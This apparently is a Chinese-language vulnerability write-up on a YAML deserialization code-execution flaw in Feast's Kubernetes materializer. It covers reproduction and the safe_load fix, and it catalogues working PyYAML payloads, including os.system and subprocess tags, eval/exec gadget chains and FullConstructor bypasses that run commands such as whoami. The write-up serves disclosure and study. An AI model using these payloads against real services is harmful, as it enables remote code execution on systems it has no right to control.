What

本次漏洞所涉及到的项目为feast项目

https://github.com/feast-dev/feast

首先对该项目进行简单的了解,Feast 是一个开源的机器学习特征存储(Feature Store),旨在管理和提供机器学习特征,支持批量和实时应用场景。

Feast 还支持生成式 AI 应用,特别是检索增强生成(RAG)系统

  • 文档问答系统:存储文档块和嵌入向量,检索相关文档作为 LLM 上下文
  • 知识库增强:存储公司特定信息,基于用户查询检索相关信息
  • 语义搜索:存储文档嵌入,实现语义相似性搜索

Usage

首先我们直接使用pip进行feast可执行文件的安装

pip install feast

在成功安装了feast之后,我们使用feast可执行文件进行特征仓库的创建

feast init my_feature_repo  
cd my_feature_repo/feature_repo

其中通过init子命令生成的demo项目中,README中对各个文件的作用以及使用方式进行了说明

使用apply命令对特征定义进行注册

feast apply

创建了两个sqlite数据库表

构建训练数据集

from feast import FeatureStore  
import pandas as pd  
from datetime import datetime  
  
entity_df = pd.DataFrame.from_dict({  
    "driver_id": [1001, 1002, 1003, 1004],  
    "event_timestamp": [  
        datetime(2021, 4, 12, 10, 59, 42),  
        datetime(2021, 4, 12, 8,  12, 10),  
        datetime(2021, 4, 12, 16, 40, 26),  
        datetime(2021, 4, 12, 15, 1 , 12)  
    ]  
})  
  
store = FeatureStore(repo_path=".")  
  
training_df = store.get_historical_features(  
    entity_df=entity_df,  
    features=[  
        "driver_hourly_stats:conv_rate",  
        "driver_hourly_stats:acc_rate",  
        "driver_hourly_stats:avg_daily_trips"  
    ]  
).to_df()

可以使用feast ui启动 Web UI观察生成的数据

feast ui

Env

可以直接clone官方提供的源码

https://github.com/feast-dev/feast

其中上面通过pip安装的feast二进制文件是由源码打包而成的,通过命令行的方式执行的命令入口实现在sdk/python/fest/cli/cli.py文件中,注册了支持的多种子命令

我们可以直接使用python xxx.py的方式进行任务的执行

Reproduce

最新版本的feast已被修复,我们将其替换到存在漏洞版本

https://github.com/feast-dev/feast/commit/5e4b9fd5ca490bcd52710fa8691ad5fa6f5680dc

在该版本中,存在有相当的一大部分的实现采用了安全的yaml.safe_load的方式进行yaml文件的加载,避免了被攻击的风险,但是仍然在Kubernetes的materializer的操作过程中,对/var/feast/feature_store.yaml 和 /var/feast/materialization_config.yaml 配置文件使用了 yaml.load(..., Loader=yaml.Loader)由于 yaml.Loader 会实例化任意 Python 对象,因此任何能够控制 YAML 文件的攻击者都可以在 Feast 验证配置之前在 Worker pod 上执行操作系统命令,造成远程代码执行漏洞

if __name__ == "__main__":
    logging.basicConfig(level=logging.INFO)

    with open("/var/feast/feature_store.yaml") as f:
        feast_config = yaml.load(f, Loader=yaml.Loader)

        with open("/var/feast/materialization_config.yaml") as b:
            materialization_cfg = yaml.load(b, Loader=yaml.Loader)

            config = RepoConfig(**feast_config)
            store = FeatureStore(config=config)

            KubernetesMaterializer(
                config=config,
                feature_view=store.get_feature_view(
                    materialization_cfg["feature_view"]
                ),
                paths=materialization_cfg["paths"],
                worker_index=int(os.environ["JOB_COMPLETION_INDEX"]),
            ).run()

首先准备一个恶意的yaml配置文件

# /var/feast/feature_store.yaml
exploit: !!python/object/apply:os.system ["echo pwned_1 > /tmp/feast_yaml_exploit"]
project: demo_project
provider: local
registry:
  registry_type: file
  path: registry.db
online_store:
  type: sqlite
  path: online_store.db
offline_store:
  type: file
  path: offline_store
feature_server:
  type: local
flags: {}
# /var/feast/materialization_config.yaml
feature_view: dummy_view
paths:
  - /tmp/nonexistent.parquet
exploit: !!python/object/apply:os.system ["echo pwned_2 > /tmp/feast_yaml_materialization"]

通过启动Kubernetes任意去进行yaml配置文件的解析,进而执行系统命令

由上面的图可知,在启动了Kubernetes任务之后,对我们的恶意yaml文件进行了解析,同时能够执行我们在yaml文件中设定的系统命令,在执行命令后,可以在/tmp目录下找到我们写入的文件以及文件内容

Analysis

该类漏洞的成因还是由于外部配置文件可控,同时引入了不安全的Yaml解析框架

对于yaml反序列化漏洞的分析,我们首先了解有关于python中pyyaml所支持的语法有哪些,存在有哪些绕过方式

Grammar

  • 一个 .yml 文件中可以有多份配置文件,用 --- 隔开即可
  • 对大小写敏感
  • YAML 中的值,可使用 json 格式的数据
  • 使用缩进表示层级关系
  • 缩进时不允许使用 tab(\t),只允许使用空格。
  • 缩进的空格数目不重要,只要相同层级的元素左侧对齐即可。
  • # 表示注释,和 Python 一样
  • !! 表示强制类型装换
  • 可以通过 & 来定义锚点,使用 * 来引用锚点。* 也可以和 << 配合,引用时会自动展开对象,类似 Python 的 **dict()
  • YAML 支持的数据结构有三种
  1. 对象:键值对的集合
  2. 列表:一组按次序排列的值
  3. 标量(scalars):原子值(不可再拆分),例如 数字、日期等等
  • 可以通过 !! 来进行类型转换

Deserialize

version < 5.1

和众多反序列化漏洞一样,yaml中也有类似的反序列化方法,<5.1 版本中提供了几个方法用于解析 YAML:

  1. load(data)
  2. load(data, Loader=Loader)
  3. load_all(data)
  4. load_all(data, Loader=Loader)

其中load方法用于加载单个 YAML 配置,load_all用于加载多个 YAML 配置。可以发现可以指定加载器,而yaml中一共有三个加载器,加载器后面对应了三个不同的构造器:

  1. BaseConstructor:最最基础的构造器,不支持强制类型转换
  2. SafeConstructor:集成 BaseConstructor,强制类型转换和 YAML 规范保持一致
  3. Constructor:在 YAML 规范上新增了很多强制类型转换

Constructor 这个是最危险的构造器,却是默认使用的构造器。

# !!python/object
import yaml
import os

class poc:
    def __init__(self):
        os.system('calc')

payload = yaml.dump(poc())
payload = payload.replace("__main__","poc_test")

fp = open('poc.yml','w')
fp.write(payload)

最终生成的 poc.yml 为

!!python/object:poc_test.poc {}
# !!python/object/new
!!python/object/new:os.system ["calc.exe"]
!!python/object/new:subprocess.check_output [["calc.exe"]]
!!python/object/new:os.popen ["calc.exe"]
!!python/object/new:subprocess.run ["calc.exe"]
!!python/object/new:subprocess.call ["calc.exe"]


# !!python/object/apply
!!python/object/apply:os.system ["calc.exe"]
!!python/object/apply:subprocess.check_output [["calc.exe"]]
!!python/object/apply:os.popen ["calc.exe"]
!!python/object/apply:subprocess.run ["calc.exe"]
!!python/object/apply:subprocess.call ["calc.exe"]
!!python/object/apply:subprocess.Popen ["calc.exe"]
# !!python/module
import yaml
poc = "!!python/module:poc"
yaml.load(poc)


# !!python/name
import yaml

test = "just_test"
poc = "!!python/name:__main__.test"
print(yaml.load(poc))
#just_test

5.2>version>=5.1

由于默认的构造器太过危险,在 PyYAML >= 5.1时,开发者就将构造器分为:

  1. BaseConstructor:没有任何强制类型转换
  2. SafeConstructor:只有基础类型的强制类型转换
  3. FullConstructor:除了 python/object/apply 之外都支持,但是加载的模块必须位于 sys.modules 中(说明已经主动 import 过了才让加载)。这个是默认的构造器。
  4. UnsafeConstructor:支持全部的强制类型转换
  5. Constructor:等同于 UnsafeConstructor

反序列化函数为:

  • load(data) [works under certain conditions]
  • load(data, Loader=Loader)
  • load(data, Loader=UnsafeLoader)
  • load(data, Loader=FullLoader)
  • load_all(data) [works under certain condition]
  • load_all(data, Loader=Loader)
  • load_all(data, Loader=UnSafeLoader)
  • load_all(data, Loader=FullLoader)
  • full_load(data)
  • full_load_all(data)
  • unsafe_load(data)
  • unsafe_load_all(data)

当我们在yaml.load时,在不指定 Loader 的时候,默认是 FullConstructor 构造器,会有warning.在 make_python_instance 还新增的额外的限制:if not (unsafe or isinstance(cls, type)),也就是说,在安全模式下,加载进来的 module.name 必须是一个类(例如 int、str 之类的),否则就会报错。

绕过FullConstructor

首先最简单的利用方式就是直接用<5.1的打法打,但是必须要指定构造器UnsafeConstructor 或者 Constructor,也就是

  1. yaml.unsafe_load(exp)
  2. yaml.unsafe_load_all(exp)
  3. yaml.load(exp, Loader=UnsafeLoader)
  4. yaml.load(exp, Loader=Loader)
  5. yaml.load_all(exp, Loader=UnsafeLoader)
  6. yaml.load_all(exp, Loader=Loader)

再说的话就是怎么绕过 FullConstructor 来引入类了,如果一个类满足在 FullConstructor 上下文中的 sys.modules 里,同时它还有一个类,那么这个类可以执行命令,而subprocess.Popen就满足(但是我试了下不行,报错说是找不到python/object/apply:subprocess.Popen的构造器)。除了 !!python/object/apply ,我们可以遍历一下看看 builtins 下的所有方法,找到一些看起来可能有用的:

bool、bytearray、bytes
complex
dict
enumerate
filter、float、frozenset
int
list
map、memoryview
object
range、reversed
set、slice、str、staticmethod
tuple
zip

在 python3 中 map 返回的是个迭代器,可以配合其他函数进行 rce ,比如

tuple(map(eval, ["__import__('os').system('whoami')"]))
# 其中tuple可以换成list、set、bytes、frozenset都行

故 poc 为

import yaml

poc = '''
!!python/object/new:tuple
- !!python/object/new:map
  - !!python/name:eval
  - ["__import__('os').system('whoami')"]
'''
yaml.load(poc)

按理说 list 和 set 也能实现同样的效果,但是这里用 !!python/object/new 标签是却会忽略参数,返回空

利用extend

经过上面的分析,其实可以发现只要找到 触发带参调用 + 引入函数 就能rce

如果存在 listitems 属性,那么会调用实例的 extend 方法,以 listitems 为参数,故poc为

!!python/object/new:type
args:
  - test
  - !!python/tuple []
  - {"extend": !!python/name:exec }
listitems: "__import__('os').system('whoami')"

首先这是个 type 类,因为要动态设置参数,然后设置好 extend 和 listitems 的值就能调用了

利用setstate

调用 instance 的 __setstate__方法,以state为参数,所以在 extend 的 poc 的基础上改下方法名和参数名就行,故poc

!!python/object/new:type
args:
  - test
  - !!python/tuple []
  - {"__setstate__": !!python/name:exec }
state: "__import__('os').system('whoami')"

利用update

如果没有__setstate__方法,没有__dict__属性,则会触发slotstate.update函数,先贴poc,再断点分析(这里其实不需要设置 items 值也能rce,不过后面会对其进行一个键值对的检查,不设置的话会报错)

!!python/object/new:str
    args: []
    state: !!python/tuple
      - "__import__('os').system('whoami')"
      - !!python/object/new:staticmethod
        args: []
        state: 
          update: !!python/name:eval
          items: !!python/name:list

从内到外加载的,先加载 !!python/object/new:staticmethod ,此时该对象中 state 的键值对为

update: !!python/name:eval
items: !!python/name:list

version>=5.2

  • 在5.2中只额外支持 !!python/name、!!python/object、!!python/object/new 和 !!python/module,而不支持apply标签
  • 在5.3.1以上的版本中加了一个新的过滤机制,匹配到就报错
  • 版本在5.4以上只支持!!python/name,!!python/object/apply、!!python/object、!!python/object/new
  • 6.0以上的版本用户必须指定Loader了,否则报错

Repair

对于该漏洞的修复,直接避免了使用危险yaml loader的方法,yaml.safe_load

Ref

https://github.com/feast-dev/feast

https://huntr.com/bounties/46d4d585-b968-4a76-80ce-872bc5525564

https://pypi.org/project/PyYAML/